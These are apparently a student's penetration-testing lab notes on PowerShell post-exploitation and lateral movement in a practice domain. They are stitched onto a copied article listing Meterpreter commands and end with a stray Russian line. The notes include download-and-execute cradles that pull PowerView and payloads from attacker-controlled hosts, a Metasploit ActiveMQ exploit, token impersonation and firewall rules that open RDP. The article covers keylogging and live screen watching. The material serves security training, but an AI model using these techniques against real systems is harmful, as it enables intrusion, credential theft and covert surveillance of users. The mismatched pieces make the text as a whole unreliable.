msf6 auxiliary(server/socks_proxy) > route

Scripts

this script takes a file name as argument For which it creates a variable called “$file”, and runs the “Get-Content” cmdlet on our variable.

Alternatively

create a variable with the file, then just run getcontent with that variable

Loops Statements

To get more information

Loop Statement / Loop Body

returns the name of each service with the .name property in the loop body.

Alternatively

using the built-in cmdlets ForEach_Object

Where-Object

allows us to select objects within a collection based on their property values in regard to when used For a loop.

Port scan example [+]

" - Closed"" - Open"

Lab 2 Powershell for post-exploitation and Lateral Movement

targets network: 172.17.80.0/24

gather information

nmap   - 172.17.80. |  
fping   172.17.80.0/24 2>/dev/null  hostsup

- 172.17.80.1
- 172.17.80.100

Exploit Apache ActiveMQ

// we found that port 8161 is running Apache ActiveMQ, so I searched For that version in metasploit
exploit(multi/http/apache_activemq_upload_jsp)
and got a shell.

// ip discovered: 10.100.11.101

in Meterpreter session:

Token Impersonation

Sending PowerView to the target

open a web host with python
then send and execute the file:

"IEX (New-Object Net.WebClient).DownloadString('http://175.13.80.5:8000/PowerView.ps1'); Get-NetDomainController"

Results

Forest                     : eLS.local
CurrentTime                : 1/8/2022 11:36:28 PM
HighestCommittedUsn        : 209035
OSVersion                  : Windows Server 2012 R2 Standard
Roles                      : {PdcRole, RidRole, InfrastructureRole}
Domain                     : els-child.eLS.local
IPAddress                  : 10.100.10.253
SiteName                   : Default-First-Site-Name
SyncFromAllServersCallback : 
InboundConnections         : {18be55e6-23fd-4162-ab64-6b2cf34040e5}
OutboundConnections        : {e308ece2-539f-4f7a-9fc2-fee4e5adfd31}
Name                       : child-dc01.els-child.eLS.local
Partitions                 : {CN=Configuration,DC=eLS,DC=local, CN=Schema,CN=Co
                             nfiguration,DC=eLS,DC=local, DC=ForestDnsZones,DC=
                             eLS,DC=local, DC=els-child,DC=eLS,DC=local...}

local_admin is a local administrator of the domain controller

going back to SYSTEM

ctrl+z the shell
Meterpreter:
	rev2self

search for files

arp scanner

use post/windows/gather/arp_scanner
set options
// we found a new ip 10.11.100.101

set a proxy to the internal network

powershell_remoting to execute commands in that internal network

we should get a shell back from the win10 machine

to execute commands on the DC, we just need to modify the powershell_remoting

now we should have a shell from the DC

download cradles used

"iex (New-Object Net.WebClient).DownloadFile('http://10.100.11.101:8000/payload.exe', 'C:\Windows\Temp\payload.exe')""IEX (New-Object Net.WebClient).DownloadString('http://175.13.80.5:8000/shell.exe')

Create and add new users

I realized that the previous single-command syntax doesn’t work because the shell is semi-interactive and we are a bit limited. But don’t worry, you can still execute the three commands one by one. However, that’s not necessary. I found a way to do this directly with PowerShell:

You can also pwn a shell directly from PowerShell with the -shell-type parameter of smbexec.py

Is a Meterpreter Shell Better Than a Standard Reverse Shell?

Meterpreter has more functions and is more flexible than a standard reverse shell

Through it, you can access a webcam or microphone remotely, or easily upload and use Mimikatz—through a module called “kiwi,” which is another pen-testing framework.

It also allows you to execute Metasploit modules directly on a target machine rather than write code to the target disk and run it there.

Additionally, Meterpreter is a Ruby-based framework, while standard reverse shells can use various scripting and shell languages, such as C, Python, Perl, PHP, bash, and Powershell.

Here is a comparison of the features of a Meterpreter shell and a standard reverse shell:

Meterpreter shell
Runs in-memory: injects DLL into existing compromised processes and can migrate to other running processes easily
Can run Metasploit modules/extensions directly without downloading to the target machine
Can customize payloads through Meterpreter scripting in Ruby
Contains functionalities not readily available in standard shells, such as monitor, webcam, and microphone access
Uses encrypted communications to evade detection
Reverse shell
Spawns new processes on the target machine
Opens a standard terminal on the target machine
Functionalities depend on the scripting language used
Requires the target to have the shellcode downloaded beforehand
Firewalls and other security systems easily overlook outgoing signals from reverse shell code executed by the target machine

Privilege Escalation Meterpreter Commands

Here are a few explicit Meterpreter commands that can elevate the attacker’s privilege in the target machine. It would help if you loaded the “privs” extension before using the “getsystem” command.

CommandExplanation
getsystemAttempt to elevate your privilege to that of the target (local) system. You can gain admin- or root-level access with the command.
steal_token [PID]Attempt to steal an impersonation token from the target process marked by PID. Usually, you aim for a user with higher privileges so that you can control the process.
drop_token [PID]Relinquishes any active impersonation token. Using this command drops a specified privilege token from the current process PID, reducing the level of privileges.
rev2selfAttempt to revert to the original token, which will be useful after privilege escalation. This command helps if you’ve made a mistake escalating to the wrong set of privileges.
Meterpreter commands steal_token, drop_token, rev2self, list_tokens. Note that rev2self yields no terminal output.
Meterpreter commands: steal_token, drop_token, rev2self, list_tokens. Note that rev2self yields no terminal output.

Capture and Exfiltration Meterpreter Commands

CommandExplanation
screenshotGrab a screenshot of the target’s interactive desktop. Keep a record of your observations on the target machine for security audits.
screenshareWatch the remote user’s desktop in real time. This command is helpful when your attack takes place over some time, such as several hours, and you want to see how it unfolds.
keyscan_start/keyscan_stopStart/stop capturing keystrokes on the target. Keyscan functions as a keylogger and tracks the target’s keyboard input.
keyscan_dumpDump buffer of keystrokes on the target. Use this command between keyscan_start and keyscan_stop to see what the target user has been typing.
enumdesktopsList all accessible desktops (separate graphical environments) and Windows stations of the target. Each item on the list has a session ID to which you can apply Meterpreter commands specific to a particular desktop.
Capture and Exfiltration Meterpreter Commands
Meterpreter commands: getdesktop, enumdesktops, screenshot, screenshare, and more. The webcam_list and record_mic commands returned error messages because the target virtual machine didn’t have those. The attacker has a screen capture of the Windows target, and behind the kali@kali terminal, you can watch the target’s real-time monitor display.
Meterpreter commands keyscan_start, keyscan_dump, keyscan_stop, and a second screenshare
Meterpreter commands: keyscan_start, keyscan_dump, keyscan_stop, and a second screenshare
The display on the target machine after executing the second screenshare
The display on the target machine after executing the second screenshare

Allow RDP trhought Windows Firewall

From CMD: netsh advfirewall firewall add rule name=”rdp” dir=in protocol=tcp localport=3389 action=allow

From PS: New-NetFirewallRule -DisplayName ‘RDP’ -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Allow

In the previous two cases, we created a new rule with the name “rdp”, ‘RDP’ to allow incoming traffic through port 3389 using the TCP protocol.

Enable-NetFirewallRule -DisplayGroup “Remote Desktop”

Conclusion

We hope this list of Meterpreter commands helps you get started with Meterpreter shell commands and wield Meterpreter like a pro. Those interested in ethical hacking and penetration testing would benefit from mastery of Meterpreter.

Don’t forget to check out our StationX Membership to access a wide range of ethical hacking, penetration testing, and related courses. If you intend to pursue a career in these fields, we have handpicked a selection of courses for you below, and we wish you success.

:/>  Для ввода сетевого пароля необходимо ввести пароль

Оставьте комментарий